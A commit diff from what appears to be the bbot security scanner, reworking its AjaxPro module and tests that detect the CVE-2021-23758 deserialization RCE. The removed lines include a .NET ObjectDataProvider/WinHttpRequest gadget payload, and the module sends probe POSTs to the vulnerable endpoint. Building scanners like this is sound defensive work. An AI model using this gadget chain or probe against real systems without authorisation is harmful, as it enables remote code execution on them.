adding tests for vuln detection, streamlining detection

blacklanternsecurity · Jan 8, 2025 · 98967f5 · 98967f5
1 parent 479427a
commit 98967f5
Show file tree

Hide file tree

Showing 2 changed files with 63 additions and 56 deletions.
diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py
@@ -25,7 +25,6 @@ async def handle_event(self, event):
             await self.check_http_response_event(event)
 
     async def check_url_event(self, event):
-        """Handle URL events to detect Ajaxpro vulnerabilities."""
         for stem in ["ajax", "ajaxpro"]:
             probe_url = f"{event.data}{stem}/whatever.ashx"
             probe = await self.helpers.request(probe_url)
@@ -37,7 +36,6 @@ async def check_url_event(self, event):
                     await self.confirm_exploitability(probe_url, event)
 
     async def check_http_response_event(self, event):
-        """Handle HTTP response events to detect Ajaxpro vulnerabilities."""
         resp_body = event.data.get("body")
         if resp_body:
             match = await self.helpers.re.search(self.ajaxpro_regex, resp_body)
@@ -47,52 +45,41 @@ async def check_http_response_event(self, event):
                 await self.confirm_exploitability(ajaxpro_path, event)
 
     async def emit_technology(self, event, detection_url):
+        url = event.data if event.type == "URL" else event.data["url"]
         await self.emit_event(
             {
                 "host": str(event.host),
-                "url": event.data if event.type == "URL" else event.data["url"],
+                "url": url,
                 "technology": "ajaxpro",
             },
             "TECHNOLOGY",
             event,
-            context=f"{self.meta['description']} discovered Ajaxpro instance ({event.type}) at {detection_url}",
+            context=f"{self.meta['description']} discovered Ajaxpro instance ({event.type}) at {url} with trigger {detection_url}",
         )
 
+    # Confirm exploitability of the detected Ajaxpro instance
     async def confirm_exploitability(self, detection_url, event):
-        """Confirm exploitability of the detected Ajaxpro instance."""
         self.debug("Ajaxpro detected, attempting to confirm exploitability")
         parsed_url = urlparse(detection_url)
         base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
         path = parsed_url.path.rsplit('/', 1)[0]
         full_url = f"{base_url}{path}/AjaxPro.Services.ICartService,AjaxPro.2.ashx"
 
         # Payload and headers defined inline
-        payload = {
-            "item": {
-                "__type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
-                "MethodName": "Send",
-                "ObjectInstance": {
-                    "__type": "WinHttp.WinHttpRequest.5.1, Interop.WinHttpRequest, Version=5.1.2600.2180, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",
-                    "Open": {
-                        "Method": "GET",
-                        "Url": "http://localhost",
-                        "Async": False,
-                    },
-                },
-            },
-        }
+        payload = {}
         headers = {"X-Ajaxpro-Method": "AddItem"}
 
         probe_response = await self.helpers.request(full_url, method="POST", headers=headers, json=payload)
-        if "AjaxPro.Services.ICartService" and "MissingMethodException" in probe_response.text:
-            await self.emit_event(
-                {
-                    "host": str(event.host),
-                    "severity": "CRITICAL",
-                    "url": event.data if event.type == "URL" else event.data["url"],
-                    "description": f"Ajaxpro Deserialization RCE (CVE-2021-23758) Trigger: [{full_url}]",
-                },
-                "VULNERABILITY",
-                event,
-                context=f"{self.meta['description']} discovered Ajaxpro instance ({event.type}) at {detection_url}",
-            )
+        if probe_response:
+            if "AjaxPro.Services.ICartService" and "MissingMethodException" in probe_response.text:
+                await self.emit_event(
+                    {
+                        "host": str(event.host),
+                        "severity": "CRITICAL",
+                        "url": event.data if event.type == "URL" else event.data["url"],
+                        "description": f"Ajaxpro Deserialization RCE (CVE-2021-23758) Trigger: [{full_url}]",
+                    },
+                    "VULNERABILITY",
+                    event,
+                    context=f"{self.meta['description']} discovered Ajaxpro instance ({event.type}) at {detection_url}",
+                )
diff --git a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py
@@ -1,20 +1,13 @@
 from .base import ModuleTestBase
 
-
 class TestAjaxpro(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
     modules_overrides = ["httpx", "ajaxpro"]
-
-    http_response_data = """
-    <script src="ajax/AMBusinessFacades.AjaxUtils,AMBusinessFacades.ashx" type="text/javascript"></script><script type='text/javascript'>$(document).ready(function(){if (!(top.hasTouchScreen || (top.home && top.home.hasTouchScreen))){$('#ctl01_userid').trigger('focus').trigger('select');}});</script>
-    <script type="text/javascript">
-    if(typeof AjaxPro != "undefined") AjaxPro.noUtcTime = true;
-    </script>
-
-    <script type="text/javascript" src="/AcmeTest/ajax/AMBusinessFacades.NotificationsAjax,AMBusinessFacades.ashx"></script>
-    <script type="text/javascript" src="/AcmeTest/ajax/AMBusinessFacades.ReportingAjax,AMBusinessFacades.ashx"></script>
-    <script type="text/javascript" src="/AcmeTest/ajax/AMBusinessFacades.UsersAjax,AMBusinessFacades.ashx"></script>
-    <script type="text/javascript" src="/AcmeTest/ajax/FAServerControls.FAPage,FAServerControls.ashx"></script>
+    exploit_headers = {
+        "X-Ajaxpro-Method": "AddItem", "Content-Type": "text/json; charset=UTF-8"
+    }
+    exploit_response = """
+    null; r.error = {"Message":"Constructor on type 'AjaxPro.Services.ICartService' not found.","Type":"System.MissingMethodException"};/*
     """
 
     async def setup_before_prep(self, module_test):
@@ -28,29 +21,56 @@ async def setup_before_prep(self, module_test):
         respond_args = {"status": 404}
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
-        # Simulate HTTP_RESPONSE detection
         expect_args = {"method": "GET", "uri": "/"}
-        respond_args = {"response_data": self.http_response_data}
+        respond_args = {"response_data": "alive"}
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
+        # Simulate Vulnerability
+        expect_args = {"method": "POST", "uri": "/ajaxpro/AjaxPro.Services.ICartService,AjaxPro.2.ashx"}
+        respond_args = {"response_data": self.exploit_response}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)        
+
     def check(self, module_test, events):
         ajaxpro_url_detection = False
-        ajaxpro_httpresponse_detection = False
+        ajaxpro_exploit_detection = False
 
         for e in events:
+            if (e.type == "VULNERABILITY" and "Ajaxpro Deserialization RCE (CVE-2021-23758)" in e.data["description"] and "http://127.0.0.1:8888/ajaxpro/AjaxPro.Services.ICartService,AjaxPro.2.ashx" in e.data["description"]):
+                ajaxpro_exploit_detection = True
+
             if (
-                e.type == "FINDING"
-                and "Ajaxpro Detected (Version Unconfirmed) Trigger: [http://127.0.0.1:8888/ajaxpro/whatever.ashx]"
-                in e.data["description"]
+                e.type == "TECHNOLOGY" and e.data["technology"] == "ajaxpro"
             ):
                 ajaxpro_url_detection = True
-                continue
+
+        assert ajaxpro_url_detection, "Ajaxpro URL probe detection failed"
+        assert ajaxpro_exploit_detection, "Ajaxpro Exploit detection failed"
+
+
+class TestAjaxpro_httpdetect(TestAjaxpro):
+    http_response_data = """
+    <script src="ajax/AMBusinessFacades.AjaxUtils,AMBusinessFacades.ashx" type="text/javascript"></script><script type='text/javascript'>$(document).ready(function(){if (!(top.hasTouchScreen || (top.home && top.home.hasTouchScreen))){$('#ctl01_userid').trigger('focus').trigger('select');}});</script>
+    <script type="text/javascript">
+    if(typeof AjaxPro != "undefined") AjaxPro.noUtcTime = true;
+    </script>
+
+    <script type="text/javascript" src="/AcmeTest/ajax/AMBusinessFacades.NotificationsAjax,AMBusinessFacades.ashx"></script>
+    <script type="text/javascript" src="/AcmeTest/ajax/AMBusinessFacades.ReportingAjax,AMBusinessFacades.ashx"></script>
+    <script type="text/javascript" src="/AcmeTest/ajax/AMBusinessFacades.UsersAjax,AMBusinessFacades.ashx"></script>
+    <script type="text/javascript" src="/AcmeTest/ajax/FAServerControls.FAPage,FAServerControls.ashx"></script>
+    """
+
+    async def setup_before_prep(self, module_test):
+        # Simulate HTTP_RESPONSE detection
+        expect_args = {"method": "GET", "uri": "/"}
+        respond_args = {"response_data": self.http_response_data}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+    def check(self, module_test, events):
+        ajaxpro_httpresponse_detection = False
+        for e in events:
             if (
-                e.type == "FINDING"
-                and 'Ajaxpro Detected (Version Unconfirmed) Trigger: [<script src="ajax/AMBusinessFacades.AjaxUtils,AMBusinessFacades.ashx"]'
+                e.type == "TECHNOLOGY" and e.data["technology"] == "ajaxpro"
             ):
                 ajaxpro_httpresponse_detection = True
-                continue
-
-        assert ajaxpro_url_detection, "Ajaxpro URL probe detection failed"
-        assert ajaxpro_httpresponse_detection, "Ajaxpro HTTP_RESPONSE detection failed"
+        assert ajaxpro_httpresponse_detection, "Ajaxpro HTTP_RESPONSE detection failed"